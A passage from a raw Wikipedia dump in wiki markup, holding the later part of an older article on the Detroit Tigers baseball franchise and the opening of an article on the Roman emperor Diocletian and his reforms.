However, the truth is revealed in Richard Bak's [[1998]] [[book]], ''A Place for Summer: A Narrative History of Tiger Stadium''. In the [[19th century]], the city of Detroit had a military unit called the Detroit Light Guard, who were known as &quot;The Tigers.&quot; They had played a significant role in certain [[Civil war|Civil War]] battles and also in the recently-fought [[Spanish-American War]]. The ballclub received permission from the Light Guard to use their [[trademark]], and from that day forth the ballclub was officially the ''Tigers''.

That 1901 team eventually finished third in the eight team league.  Eleven years later, an elegant stadium was constructed on the site of Bennett Park and named Navin Field.  In [[1961]], Briggs Stadium, as it was then known, was renamed [[Tiger Stadium]].  Tiger Stadium was used by the Tigers until the end of the [[1999]] season.  Since [[2000]], the Tigers have played in [[Comerica Park]].   

===The Cobb era===
In [[1905]], the team acquired [[Ty Cobb]], a fearless player with a mean streak, who would be considered one of the greatest of all-time. The addition of Cobb to an already talented team that included [[Sam Crawford]], [[Hughie Jennings]], [[Bill Donovan (baseball)|Bill Donovan]], and [[George Mullin (baseball)|George Mullin]] quickly yielded results, as the Tigers won their first American League pennant in 1907.
[[Image:TyCobbBatting.jpg|250px|thumb|left|Ty Cobb at bat in 1908 at Chicago's [[South Side Park]]]]

Cobb and the Tigers disappointed in the 1907 Fall Classic against the [[Chicago Cubs]].  With the exception of Game 1, which ended in a rare tie, the Tigers failed to score more than one run in any game and lost four straight.  The Cubs would deny Detroit the title again in '08, holding Detroit to a .209 batting average for the series, which the Cubs again won in five games. It was hoped that a new opponent in the 1909 Series, [[Pittsburgh Pirates|Pittsburgh]], would yield different results, but the Bengals were blown out 8-0 in the decisive seventh game at [[Forbes Field]].

In the teens and twenties, Cobb remained the marquee player on many Tigers teams that would remain mired in the middle of the American League.  Cobb himself took over [[baseball manager|managerial]] duties in 1921, but during six years at the helm, his Tigers never had a record better than 86-68.

===The Tigers break through===
The Tiger teams of the [[1930s]] were consistently among the league's best with &quot;Black Mike&quot; [[Mickey Cochrane]] behind the plate, [[Hank Greenberg]], one of the greatest Jewish baseball players of all time, at first, and [[Charlie Gehringer]], &quot;The Mechanical Man&quot; at second.  They would be denied again in the 1934 World Series in seven games by the [[Gashouse Gang]] [[St. Louis Cardinals]].  Again, when the chips were down in the deciding game, Detroit folded, giving up seven third-inning runs and losing Game Seven 11-0 at Navin Field (Tiger Stadium).  The game was marred by an ugly incident.  After spiking Tiger third baseman Marv Owen in the sixth inning, the Cardinals' Joe &quot;Ducky&quot; Medwick had to be removed from the game for his own safety by Commissioner [[Kenesaw Mountain Landis]] after being pelted with fruit and garbage from angry fans in the large temporary bleacher section in left field.  

The Tigers finally reached the Promised Land the following year, defeating the Cubs 4 games to 2 to win the 1935 World Series, which concluded with [[Goose Goslin]]'s dramatic walk-off single, scoring Cochrane to seal the victory.

The Tigers returned to the middle of the American League in the late 30's and World War II era before the timely return of [[Hank Greenberg]] from the military helped the Tigers to the 1945 American League pennant.  With Virgil Trucks and Hall of Famer [[Hal Newhouser]] on the mound and Greenberg leading the Tiger bats, Detroit responded in a Game 7 for the first time, staking Newhouser to a 5-0 lead before he threw a pitch en route to a 9-3 victory over the Cubs.  Because many baseball stars had not yet returned from the military, some baseball scholars have deemed the '45 Series to be among the worst-played contests in Series history.  Prior to the Series, Chicago sportswriter [[Warren Brown]] was asked who he liked, and he answered, &quot;I don't think either one of them can win it!&quot;  But the Cubs had no answer to Greenberg, and the Series went Detroit's way.

===Glory in '68===

[[Image:Detroit Tigers.gif|175px|thumb|right|The classic Detroit Tigers logo.]]

The [[1968]] title, which occurred one year after the [[12th Street Riot|1967 race riots]] ravaged Detroit, is thought to have helped to heal citywide tensions. The Tigers easily won the American League with many dramatic, come-from-behind victories during the regular season.  In the &quot;year of the pitcher&quot;, the controversial [[Denny McLain]] became the first pitcher since [[Dizzy Dean]] in 1934 to win 30 games with a 31-6 record.  

In Game 1, McLain was overshadowed by Cardinals' ace [[Bob Gibson]], who struck out 17 Tigers in a 4-0 shutout.  The Tiger bats won the day in the second game, in St. Louis.  Lolich held St. Louis to a single run on six hits and added a home run in his own cause.  The Tigers lost badly in Games 3 and 4 at Tiger Stadium, 7-3 and 10-1.  In Game 4, some accounts accused Tigers manager [[Mayo Smith]] of stalling in hopes that the game would be washed out by an approaching storm.  With their backs against the wall, Lolich took the mound again in Game 5.  The Tigers were eight outs away from elimination before a two-run single from [[Al Kaline]] and another RBI safety by [[Norm Cash]] gave Detroit a 5-3 lead they would not relinquish.  As the series returned to St. Louis, McLain pitched on two days' rest.  Any concerns about the Tigers' ace having a sore arm were quickly laid to rest.  The Tigers scored 10 runs in the third inning, including a grand slam from [[Jim Northrup]], in a 13-1 laugher.  The deciding Game 7 pitted Lolich--pitching on two days' rest--against Gibson, and the Tigers struck first.  Jim Northrup's triple scored [[Norm Cash]] and [[Willie Horton (baseball player)|Willie Horton]] to give the visitors a 2-0 lead.  Catcher [[Bill Freehan]] added a double to give Lolich a 3-0 lead with nine outs to go.  [[Don Wert]]'s RBI single in the ninth added an insurance run, and a ninth-inning solo shot from [[Mike Shannon]] of St. Louis was the Cards' only response.  [[Tim McCarver]], the next batter, popped up to Freehan in foul territory and the Tigers were Champions of baseball again.

===A slow decline===
Detroit finished second to the dominant [[Baltimore Orioles]], who won 109 games, in defense of their '68 title.  After that, time slowly dismantled the Tigers.  Smith was let go after the 1970 season, to be replaced by [[Billy Martin]].  After a second-place finish in 1971, the Tigers captured the [[American League East]] title in 1972.  Oddities of the schedule due to an early-season strike allowed the Tigers to win the division by just 1/2 game, just as they had in 1908.

In Game 1 of the ALCS in Oakland, Lolich, the hero of '68, took the hill and went nine innings.  and [[Al Kaline]] hit a solo homer to break a 1-1 tie in the 11th inning, only to be charged with an error on [[Gonzalo Marquez]]'s game-tying single that allowed [[Gene Tenace]] to score the winning run.  [[Blue Moon Odom]] shut down Detroit 5-0 in Game 2.  As the series returned to Detroit, the Tigers caught their stride.  [[Joe Coleman]] held the A's scoreless on seven hits in Game 3, a 3-0 Tiger victory.  In Game 4, the A's got revenge for the opener.  Two Oakland runs in the top of the 10th put the Tigers down to their last three outs, but Detroit pushed two runs across the plate to tie the game before Jim Northrup came through in the clutch again.  His single off [[Dave Hamilton]] scored [[Gates Brown]] and evened the series.  A first-inning run on a [[Gene Tenace]] passed ball gave Detroit an early lead in the deciding Game 5 in Oakland, but [[Reggie Jackson]]'s steal of home in the 2nd tied it up.  A [[Gene Tenace]] single to left gave Oakland a 2-1 lead in the fourth inning, and thanks to four innings of scoreless relief from [[Vida Blue]] they took it all the way to the World Series.

Martin didn't survive the '73 season, and the Tigers spent much of the next decade in the middle or lower ranks of the AL East.  Tiger fans were provided a glimmer of hope when rookie phenom [[Mark Fidrych]] made his debut in 1976.  Fidrych, known as &quot;the Bird,&quot; was a crazy character known for talking to the baseball.  During one game against the Yankees, [[Graig Nettles]] responded to Fidrych's antics by talking to his bat.  After making an out, he later lamented that his Japanese-made bat didn't understand him.  Sadly, those Tigers finished next to last and arm troubles ruined Fidrych's career.

===The Bless You Boys===
From [[1979]] to [[1995]], the team was managed by the colorful, eccentric [[Sparky Anderson|George &quot;Sparky&quot; Anderson]], one of baseball's winningest managers. When Sparky came on board, he made the bold move of predicting a pennant winner within 5 years. He proved to be as good as his word. 

The [[1984]] team started out at a record 35-5 pace (including [[Jack Morris]] throwing a [[no-hitter]] early in the season against the [[Chicago White Sox]]), and cruised to a franchise-record 104 victories. That team featured the great [[double play]] combination of [[shortstop]] [[Alan Trammell]] and [[second baseman]] [[Lou Whitaker]]; the duo would play together a record 19 seasons. The team also included [[Kirk Gibson]], [[Chet Lemon]], Larry Herndon, Morris, [[Dan Petry]], [[Dave Rozema]], the late [[Aurelio Lopez]] and relief ace [[Willie Hernandez]], who won the 1984 American League [[Cy Young Award]] and [[Most Valuable Player]].

The Tigers faced the [[Kansas City Royals]] in the [[American League Championship Series]], which would prove to be no contest.  In Game 1, Alan Trammell, [[Lance Parrish]] and [[Larry Herndon]] went deep to crush the Royals 8-1 at Royals Stadium (now [[Kauffman Stadium]]).  In Game 2, the Tigers scored twice in the 11th inning when [[Johnny Grubb]] doubled off the late Royals closer [[Dan Quisenberry]] en route to a 5-3 victory.  The Tigers completed the sweep at Tiger Stadium in Game 3.  [[Marty Castillo]]'s third-inning RBI fielder's choice would be all the help Detroit would need.  [[Milt Wilcox]] outdueled [[Charlie Leibrandt]] and after Hernandez got [[Darryl Motley]] to pop up to third, the Tigers were returning to the Fall Classic. (Note: At That Time, The Team with Home Field Advantage in the [[ALCS]] and [[NLCS]], played the first two games on the road. This changed in [[1985]] when the format was changed from Best-Of-Five to Best-Of-Seven.) 

In the [[NLCS]], a San Diego rally from 2-0 down prevented a fourth Cubs-Tigers series and meant the Tigers would open the [[1984 World Series]] against the [[San Diego Padres]] in Trammell's home town.  In Game 1, [[Larry Herndon]] hit a two-run dinger that gave the Tigers a 3-2 lead. Morris pitched a complete game with 2 runs on 8 hits, and Detroit took first blood.  The Padres evened the series the next night despite pitcher [[Ed Whitson]] being chased after two-thirds of an inning after giving up three runs on five Tiger hits.  Tiger starter [[Dan Petry]] didn't last long either, exiting the game after four and one-third innings when light-hitting veteran [[Kurt Bevacqua]]'s three-run homer gave San Diego a 5-3 lead they would hold onto.  When the series returned to the Motor City, the Tigers took charge.  In Game 3, a two-out rally in the second inning led to four runs and the yanking of Padre starter [[Tim Lollar]] after one and two-thirds innings.  The Padres, plagued by poor starting pitching throughout the series, never recovered and lost 5-2.  [[Eric Show]] continued the parade of bad outings in Game 4, getting bounced after two and two-thirds innings after giving up home runs to Trammell in his first two at-bats.  Trammell's homers held up with the help of another Morris complete game, and the Tigers held a commanding lead.

In Game 5, Gibson's two-run shot in the first inning would be the beginning of another early end for the Padres' starter [[Mark Thurmond]].  Though the Padres would pull back even, chasing [[Dan Petry]] in the fourth inning in the process, the Tigers retook the lead on a [[Rusty Kuntz]] sacrifice fly, doubled it on a solo [[home run|homer]] by Parrish and then sealed the victory by Gibson's three-run homer off [[Goose Gossage]] in the eighth.

A &quot;Sounds of the Game&quot; video was made during the Series by MLB Productions and played on TV a number of times since then.  When Gibson came to bat, in a situation that might call for Gossage to pitch around him, Anderson was seen and heard yelling to Gibson, &quot;He don't want to walk you!&quot; and making a swing-the-bat gesture.  As Anderson had suspected, Gossage came in with a fast one, and Gibson was ready.  He &quot;swung from the heels&quot;, and launched it into Tiger Stadium's right field upper deck.

[[Tony Gwynn]] flied out to [[Larry Herndon]] to end the game and send Detroit into a wild victory celebration.

In [[1987]], The Tigers made a historic rally. Detroit was three and a half games out of first with a week to play. The Tigers chased down the [[Toronto Blue Jays]] to win what would be their last [[American League East#AL East champions by year|American League Eastern Division Championship]] (and to date, the last postseason appearance for Detroit). The Tigers and Blue Jays squared off in seven nail-biting games during the final two weeks of the season; all seven games were decided by one run, and in the first six of the seven games, the winning run scored in the final inning of play.  The Tigers dropped three in a row to the Blue Jays before winning a dramatic extra-inning showdown.  After a series against the [[Baltimore Orioles]], the Tigers returned home to sweep the Blue Jays.  The Tigers clinched the division in a 1-0 Sunday Afternoon win, pitched by [[Frank Tanana]] and won on a home run by outfielder [[Larry Herndon]]. Unfortunately, they lost the [[1987 American League Championship Series|ALCS]] to the underdog (but eventual world-champion) [[Minnesota Twins]] in five games.

===Tigers declawed - the Randy Smith era===
The Tigers last winning season came in [[1993]], and only twice since then have they even finished within 5 games of .500 ([[1997]] and [[2000]]). In [[1996]], the Tigers lost a then-team record 109 games. In [[2003]], the Tigers shattered that mark of futility, by losing a remarkable '''119''' games, eclipsing the previous [[American League]] record of 116 losses. They avoided tying the [[1962]] expansion [[New York Mets]]' modern record for losses in one season (120) by winning five of their last six games of the season.  They did this when they faced the Minnesota Twins in their final series, as the Twins had already clinched the Central Division and were resting their starters. 

The man whom many Detroiters blame for the performance of the recent Tigers is former General Manager [[Randy Smith]].  Under Smith, the Tigers squandered numerous high draft picks on toolsy, but unskilled players.  Smith amassed a dismal trading record, trading quality players such as [[Luis Gonzalez (baseball outfielder)|Luis Gonzalez]] and [[Phil Nevin]] for spare parts.  Smith's most controversial move as GM backfired heavily; in an effort to lure a big-name player, he sent [[Frank Catalanotto]], one time All-Star [[Justin Thompson]], top prospect [[Gabe Kapler]] and future relief ace [[Francisco Cordero]] to the [[Texas Rangers (baseball)|Texas Rangers]] for disgruntled and injury-prone outfielder [[Juan Gonzalez]], plus two role players.  Gonzalez played only 115 games in a Tigers uniform before suffering a season-ending injury, and he left the team as a [[free agent]] in the [[offseason]].  Smith had previous ties to the [[Houston Astros]] and [[San Diego Padres]], with whom there were a number of questionable trades.  (In Smith's defense, though Cordero is the Rangers' closer, Catalanotto was only a &quot;platoon player&quot; with the Rangers before signing with the [[Toronto Blue Jays]] as a free agent, Kapler (the planned cornerstone of the trade for the Rangers) was mediocre at best before being traded to the [[Boston Red Sox]], while Thompson continues to struggle with injuries and has never reached the Rangers' major league roster.)

Furthermore, Smith hamstrung the franchise by signing mediocre players to lucrative long-term contracts, forcing the team to devote a significant portion of their payroll to players who had long outlived their usefulness.  Examples of such long-term signings include [[Dean Palmer]], [[Damion Easley]], and [[Bobby Higginson]].

After the Tigers began 0-6, Ilitch fired Smith in early [[2002]].  [[Dave Dombrowski]], the GM whose [[Florida Marlins]] won the [[1997 World Series]] was hired to right the ship.  In [[July 2005]], ESPN.com listed Randy Smith as &quot;The most hated man&quot; among Tigers fans.

===Stabilization and recovery===
In [[2000]], the team left legendary Tiger Stadium, then tied with [[Fenway Park]] as the oldest active baseball stadium, in favor of the new [[Comerica Park]].  The argument over Tiger Stadium lasted over a decade, with team management reportedly reviewing options to move to the Detroit [[suburb|suburbs]].  This speculation was quieted by the purchase of the team to [[Mike Ilitch]], owner of the Detroit Red Wings and the [[Little Caesars]] [[pizza]] franchise. Many longtime fans complained that the &quot;CoPa&quot; lacked the charm of its predecessor, while others saw it as a necessary replacement of an aging facility.  

Under Dombrowski, the Tigers have shown a willingness to go and try to be a player on the free agent market.  In [[2004 in baseball|2004]], the team signed or traded for several talented but high-risk veterans, such as [[Iván Rodríguez]], [[Ugueth Urbina]], [[Rondell White]], and [[Carlos Guillén]], and the gamble paid off. The '04 Tigers had a 29-game improvement over the previous season, one of the greatest improvements in baseball history. In fact, it was the biggest turnaround in the AL since Baltimore's 33-game improvement from 1988 to 1989. However, it was not enough to avoid an 11th consecutive losing season. On [[August 30]], [[2003]], the Tigers lost to the [[Chicago White Sox]], putting them with the 1962 New York Mets as the only modern MLB teams to lose 100 games before September.

In 2005, the Tigers spent a large sum for two prized free agents, [[Magglio Ordóñez]] and [[Troy Percival]].  Recently the Tigers traded pitcher Ugueth Urbina and [[Ramon Martinez]] to the [[Philadelphia Phillies]] for [[Plácido Polanco]] (and signed him for 4 years).  The Tigers stayed on the fringes of contention for the American League wild card for the first four months of the season, but injuries and a lack of player unity doomed them to another losing record and cost Trammell his job. 

On [[October 3]], 2005, the Tigers fired Trammell after three seasons in which he failed to maintain continuous improvement, despite numerous free agent acquisitions. The 2005 Tigers ended the season in a tail spin and finished 71-91. The MVP of Detroit's 1984 World Series team had one year left on his contract. Detroit lost an AL-record 119 games in his first season as manager in 2003, then improved to 72-90 in 2004 following a wave of free agent acquisitions during the off-season.  [http://sports.yahoo.com/mlb/news?slug=ap-tigers-trammellfired&amp;prov=ap&amp;type=lgns]  On [[October 4]], [[Jim Leyland]] replaced Trammell as the Tigers manager.

==Quick facts==
:'''Founded:''' [[1893]], in the minor Western League.  In [[1900]] that league was renamed the [[American League]], and it became a major league in [[1901]]. Detroit is the only charter member of the Western League to have remained in its original city.
:'''Home ballpark:''' [[Comerica Park]]
:'''Former ballparks:''' [[Tiger Stadium]], [[Bennett Park]]
:'''Mascot''': Paws
:'''Uniform colors:''' Home: Navy Blue Old English &quot;D&quot; on white uniform. Navy is used as an accent color. Road: Detroit script in navy blue outlined in orange and white on a gray background. Navy, orange and white are used as accent colors. 
:'''Logo design:''' An Old English font &quot;D&quot; with a roaring tiger walking through it, but that logo has been seen less in recent years. The Old English &quot;D&quot; without the Tiger appears on the home jersey while another version of the Old English &quot;D&quot; is present on the home cap (white &quot;D&quot; on navy blue) and road cap (orange &quot;D&quot; on navy blue).
:'''Playoff appearances''' (11): [[1907]], [[1908]], [[1909]], [[1934]], [[1935]], [[1940]], [[1945]], [[1968]], [[1972]], [[1984]], [[1987]]

In a season that began with so much promise for the Tigers, injuries to key players and a lack of consistency resulted in a fourth-place finish for a club that expected to contend for the American League Central title. It also led to the dismissal of former Tigers All-Star Alan Trammell as the team's skipper. 
Dmitri Young got the year started off in impressive fashion, homering three times in an Opening Day blowout of the Royals. But the Tigers suffered a tough blow when slugger Magglio Ordonez, signed to a five-year, $75 million deal in the offseason, suffered a hernia in April that would keep him out until July. Injuries took their toll throughout the season as closer Troy Percival, shortstop Carlos Guillen and outfielder Rondell White also missed significant amounts of time. Catcher Ivan Rodriguez played valiantly though injuries, but he wasn't able to replicate his numbers from 2004.

Among the bright spots were Chris Shelton, who hit .299 with 18 homers after being called up, and Curtis Granderson, who took over the center field job with his strong defensive play and timely hitting. Newcomer Placido Polanco enjoyed a solid season and was named Tiger of the Year for his efforts, and Carlos Pena rebounded from a demotion in a big way. Craig Monroe (team-leading 89 RBIs) and Nook Logan (23 steals) also made big contributions, while Jeremy Bonderman showed in the first half why he's the Tigers' ace and Mike Maroth posted a 14-win season two years after losing 21 games. 
Jim Leyland replaced Trammell as manager in October, two months before closer Todd Jones, who spent five seasons in Detroit from 1997-2001, signed a two-year deal with the Tigers. Veteran left-hander Kenny Rogers also joined the Tigers in late 2005, bringing 190 career wins and a 4.21 lifetime ERA to the club's 2006 rotation.


==[[Baseball Hall of Fame]]rs==
{|
|valign='top'|
Elected at least in part on basis of performance with Tigers
*[[Sparky Anderson]], MGR, 1979-1995
*[[Jim Bunning]], P, 1955-1963
*[[Ty Cobb]], P, 1905-1926
*[[Mickey Cochrane]], C, 1934-1937; MGR, 1934-1938
*[[Sam Crawford]], OF, 1903-1917
*[[Charlie Gehringer]], 2B, 1924-1942
*[[Goose Goslin]], OF, 1934-1937
*[[Hank Greenberg]], 1B, 1930-1946
*[[Harry Heilmann]], OF, 1914-1929
*[[Hughie Jennings]], MGR, 1907-1920
*[[Al Kaline]], OF, 1953-1974
*[[George Kell]], 3B, 1946-1952
*[[Heinie Manush]], OF, 1923-1927
*[[Hal Newhouser]], P, 1939-1953
|width=&quot;100&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
Other Hall-of-Famers associated with Tigers
*[[Earl Averill]], OF, 1939-1940
*[[Ed Barrow]], MGR, 1903-1904
*[[Larry Doby]], OF, 1959
*[[Bucky Harris]], MGR, 1929-1933
*[[Waite Hoyt]], P, 1930-1931
*[[Eddie Mathews]], 3B, 1967-1968
*[[Al Simmons]], OF, 1936
*[[Sam Thompson]], OF, 1906
|}

==Retired Numbers==
* [[Ty Cobb]], OF, 1905-26; manager, 1921-26 (his name is with the other honorees on the outfield wall at [[Comerica Park]], but with no number)
* &amp;nbsp; 2 [[Charlie Gehringer]], 2B, 1924-42
* &amp;nbsp; 5 [[Hank Greenberg]], 1B, 1930-46
* &amp;nbsp; 6 [[Al Kaline]], OF, 1953-74
* 16 [[Hal Newhouser]], P, 1939-53
* 23 [[Willie Horton (baseball player)|Willie Horton]], OF, 1963-77

Although National Avenue, which ran behind the third-base stands at [[Tiger Stadium]], was renamed Cochrane Avenue for [[Mickey Cochrane]], Cochrane's number 3 has not been retired for him.  It has not been retired for [[Dick McAuliffe]] or [[Alan Trammell]], either.  Cherry Street, which ran behind the left-field stands, was renamed Kaline Drive for Al Kaline.

==Current roster==
{{:Detroit Tigers roster}}

==Minor league affiliations==
* '''AAA:''' [[Toledo Mudhens]], [[International League]]
* '''AA:''' [[Erie SeaWolves]], [[Eastern League]]
* '''Advanced A:''' [[Lakeland Tigers]], [[Florida State League]]
* '''A:''' [[West Michigan Whitecaps]], [[Midwest League]]
* '''Short A:''' [[Oneonta Tigers]], [[New York-Penn League]]
* '''Rookie:''' [[GCL Tigers]], [[Gulf Coast League]]

==See also==
*[[Detroit Tigers/Award winners and league leaders|Tigers award winners and league leaders]]
*[[Detroit Tigers/Team records|Tigers statistical records and milestone achievements]]
*[[Detroit Tigers/Players of note|Tigers players of note]]
*[[Detroit Tigers/Broadcasters|Tigers broadcasters and media]]
*[[Detroit Tigers/Managers and ownership|Tigers managers and ownership]]

==External links==
*[http://detroit.tigers.mlb.com/NASApp/mlb/det/homepage/det_homepage.jsp Detroit Tigers official web site]
*[http://www.motowntigers.com MotownTigers.com - Excellent fan forum]
*[http://www.tigerscentral.com Tigers Central and Tigers History - Excellent fan site]
*[http://www.tigerstalk.com Tigers Talk - Excellent fan site]
*[http://detroittigersweblog.com/ Detroit Tigers Web Blog]
*[http://www.ilitchholdings.com/ Ilitch Holdings, Inc.]
*[http://www.sportsecyclopedia.com/al/detroit/tigers.html Sports E-Cyclopedia]
*[http://wtfdetroit.com WTFDetroit - Tigers Talk]
*[http://fernie.topcities.com/ Venezuelan fan site]
{{MLB}}

[[Category:Sports in Detroit, Michigan]]
[[Category:Major League Baseball teams]]

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  <page>
    <title>Diocletian</title>
    <id>8580</id>
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      <id>41881883</id>
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      <text xml:space="preserve">[[Image:Dio_coin1.jpg|thumb|200px|Emperor Diocletian]]

'''Gaius [[Aurelius]] Valerius Diocletianus''' (245?&amp;ndash;312?), born '''Diocles''', was [[Roman Emperors|Roman Emperor]] as '''Diocletian''' from [[November 20]] [[284]] to [[May 1]] [[305]]. Diocletian brought to an end the period popularly known to historians as the &quot;[[Crisis of the Third Century]]&quot; (235&amp;ndash;284). He established an [[autocratic]] government and was responsible for laying the groundwork for the second phase of the [[Roman Empire]], which is known variously as the &quot;Dominate&quot; (as opposed to the Principate), the &quot;Tetrarchy&quot;, or simply the &quot;Later Roman Empire&quot;. Diocletian's reforms helped ensure the survival of the Western Roman Empire for a another two-hundred years, and the survival of the Eastern Roman Empire (later the Byzantine Empire) for another one-thousand years.

== Background ==
An [[Illyria]]n of low birth (from the province of [[Dalmatia]], today's western [[Croatia]], [[Bosnia-Hercegovina]], Western [[Montenegro]] and Northern [[Albania]]), Diocles rose through the ranks to the [[consul]]ship. He was chosen by the [[Roman army]] on [[November 20]] [[284]] to replace [[Numerian]] and after the assassination of [[Carinus]] in Spring 285 became sole ruler of the Roman Empire. He changed his name to ''Diocletianus'' upon his ascension.

Previously, between 235 and 284, there had been some 20 to 25 successive Emperors in a period of about 50 years - an average of a new Emperor every two to three years. All but two of these emperors was either murdered or killed in battle.

Diocletian seemed at first to be following in the footsteps of his short-lived predecessors in the years between 284 and 298, as he fought a lengthy series of wars from one end of the Empire to the other, maintaining the extended boundaries of the frontiers and stamping out domestic uprisings. By 298, however, Diocletian had succeeded in repelling [[Germanic tribes|Germanic]] intrusions from across the [[Danube]] and [[Rhine]], had put a halt to [[Persian Empire|Persian]] invasions in [[History of Syria|Syria]] and [[Palestine (region)| Palestine]], and had defeated his political rivals within the Empire.

== Diocletian's reforms ==
His position secure, a remarkable feat after over fifty years of internal instability that nearly saw the collapse of the Roman Empire (what has become known as the [[Crisis of the Third Century]]), Diocletian believed that going forward under the current system of Roman Imperial government was unsustainable. He initiated a number of reforms to prevent a return to the anarchy of previous generations and maintain the viability of the Empire. These included splitting the Empire into two in order to be more manageable, creating a new system of Imperial succession, ruling as an [[autocrat]] and stripping away any remaining facade of [[republic]]anism, and economic reforms aimed at the problem of [[inflation|hyperinflation]].

The [[Roman Emperor]]ship, had originally been a military dictatorship, elaborately disguised as a constitutional monarchy. While it drew much of its legitimacy from a complex array of republican titles and practices, it drew most of its actual power from command over the legions and the [[Praetorian Guard]]. This is reflected in the most important of all Imperial titles, ''[[Imperator]]'' (Supreme Commander), from which the word emperor itself is derived. These arrangements, while awkward at times and followed more closely by some emperors than others, worked for the first two centuries of the empire's existence. However, starting with the reign of [[Septimius Severus]], rulers began to strip away or simply ignore many of the republican niceties, and reigned more as dictators than constitutional monarchs. This process undermined the office's foundations and legitimacy. Diocletian recognized that the title had to be based on something more than simply military force, in order to be more recognized and stable. So he sought to build a new basis for imperial legitimacy in the state religion, with himself as semi-divine monarch and high priest. The old republican title of ''[[Pontifex Maximus]],'' would begin to take on a new importance.

Diocletian chose a new title for himself, calling himself ''Dominus et deus,'' or &quot;Lord and God&quot;. This was in contrast to previous Emperors, who were known as ''Princeps'' or &quot;First Citizens&quot;, a name which implied some level of equality and [[democracy]], if in name only. Diocletian through his new title removed any such facade, installing himself as a supreme overlord. He would actually sit on a throne. He was not to be seen in public, and if an audience was required, he had elaborate ceremonies in which the visitor would be required to lie on the ground prostrate and never to look at the Emperor, allowed perhaps to kiss the bottom of his robe. In this way he created a remote, mysterious, theocratic and autocratic office. It is likely that terms such as &quot;Your Majesty&quot; or &quot;Your Excellency&quot; originated during Diocletian's rule.

=== The ''Tetrarchy'' ===
Diocletian's experiences during his first nine years of running around the Empire putting out fires brought him to the conclusion that the Empire was simply too big for a single Emperor to rule&amp;mdash;that it was not feasible to address [[barbarian]] invasions along the Rhine and [[Egypt]]ian problems at the same time, along with the internal problems the empire was experiencing. His radical solution was to split the Empire in two, drawing a line straight down the middle of the map with the axis just east of Rome into eastern and western halves. While this division did not last in the short term, it did eventually become permanent.

The question of Imperial succession had never been solved in the Roman system; there was no clear principle of succession, which often led to [[civil war]]s. Earlier Emperors had preferred the system of [[adoption]], under which they would adopt a son and heir. The military did not like the system of adoption and preferred biological succession, with the emperor's son being the rightful heir. The [[Roman Senate|Senate]] believed they should have the right to elect a new Emperor. Thus there were usually at least three, if not many more, rightful heirs of succession.

[[Image:Tetrarch_system.PNG|frame|right|Map of the Roman empire c.379, showing the praetorian prefectures of Gaul, Italy, Illyricum and Oriens, roughly analogous to the four Tetrarchs' zones of influence after Diocletian's reforms. However, in 379 AD, the western part of the Praetorian prefecture of Illyricum was attached to the Praetorian prefecture of Italy. This map shows only eastern part of Illyricum, though in the time of Tetrachy the Illyricum was not divided.]]

In order to solve the problem of succession, and to answer the question of who would be Emperor of the newly divided East and West, Diocletian created what has become known as the system of &quot;[[Tetrarchy]]&quot;, or &quot;rule of four&quot;, whereby a senior emperor would rule in the East and another senior emperor would rule the West, and each would have a junior emperor. Among the many titles traditionally bestowed on Roman emperors, the most important was that of ''[[Augustus]]'' and therefore only the two senior emperors took this title, with the junior emperors receiving the lesser title of ''[[Caesar (title)|Caesar]]''. Diocletian intended that when the senior emperor retired or died, the Caesar would take his place and choose a new junior emperor Caesar, thus solving the problem of succession.

By [[292]] Diocletian had the system in place and choose the Eastern Empire for himself and gave [[Maximian]] the Western Empire. The imperial power was now divided between two people. The two men established separate capitals, neither of which was at Rome. The ancient capital was too far removed from the places where the empire's fate was decided by force of arms. While improving the ability of the two emperors to rule the empire, the division of power further marginalized the Senate, which remained in Rome. In [[293]], Diocletian and Maximian each appointed a Caesar ([[Galerius]] and [[Constantius Chlorus|Constantius]], respectively), formally adopting them as their heirs. However, these were not merely successors - each was given authority over roughly a quarter of the Empire. 

Considering that during the half-century preceding Diocletian's ascension the Empire had been in a constant state of simmering civil war, it is remarkable that the Tetrarchy did not immediately fall apart due to the greed of any one of the four emperors. However, the opportunistic nature of Roman Imperial politics soon brought about the disintegration of the Tetrarchy and the reinstitution of one-man rule. When in 305, Diocletian retired (and his western counterpart was persuaded to do the same), the two Caesars became the senior emperors as designed, but when it came time to choose new Caesars, the military and Senate intervened and brought forward their own candidates. In 306 [[Constantine I (emperor)|Constantine]] started a civil war in the west, which he won in 312, and took the eastern half by 324, thus ruling as a united Empire until his death in 337. However, by 395 the division occurred again and the two halves would never be united again.

=== Economic reforms ===
Economically Diocletian made reforms as well. When Diocletian accended to the throne, the Roman economy had been long-since exhausted. The cost of supporting constant warfare, both external and internal, drove their economy into ruin. The fact that they had to support a very large conscript army seriously deprived their workforce of manpower. The empire extended over an area of land unprecedented in ancient times. The machinery of the empire that was used to support this vast presence was built on that of the old Republic. The machinery of that Republic had been built to rule a small city-state in the middle of Italy. The empire became too overextended for its economy to handle. In addition, Plagues and pandemics were common, further straining the economy. This resulted in extreme [[hyperinflation]], and a severe devaluation of the coinage. This lead to wide-spread bartering. In [[301]], Diocletian attempted to curb the rampant [[inflation]], and issued his [[Edict on Maximum Prices]]. This Edict fixed prices for over a thousand goods, fixed wages, and threatened the [[death penalty]] to merchants who overcharged. Diocletian was forced to increase tax collection, and likewise the size of the Roman civil service. The Romans lived in a time before any understanding of the science of economics, and as a result of this, Diocletian's reforms probably made the situation worse. He was unable to stop the inflation, and many of his economic reforms were eventually ignored.

=== Military reforms ===
Militarily Diocletian expanded the army from around 400,000 to over 450,000 and divided it into two major portions: The frontier troops (''[[limitanei]]'' or ''ripenses'') and mobile field forces (''[[comitatenses]]'') to provide a reserve. About two-thirds of the army's strength was frontier forces. The remainder were in the mobile units which the Augusti and Caesars kept centrally located in their territories. Since they were closer to the centers of power, and therefore more politically dangerous, the mobile troops were better paid than the frontier forces. This proved a cause for resentment and, later on, trouble.

The experience with the ''[[vexillatio]]'' system led Diocletian to reduce the [[Roman legion|legions]] of the field forces to about 1,000 men each, to assure greater [[strategic]] and [[tactical]] flexibility without the need for detachments. The legions of the frontier were kept at full strength (4,000-6,000 men). Auxiliary units in both mobile and frontier forces were usually 1,000 men each.

Also under Diocletian, the post of [[Praetorian prefect]] was greatly reduced in power. Instead, each [[Augustus]] and [[Caesar (title)|Caesar]] had two major military commanders: a ''[[Magister militum]]'' (master of soldiers) and a ''[[Magister Equitum]]'' (master of [[cavalry]]). This not only divided military responsibilities, thus reducing political dangers, but it also acknowledged the increased importance of cavalry in the [[Roman army]].

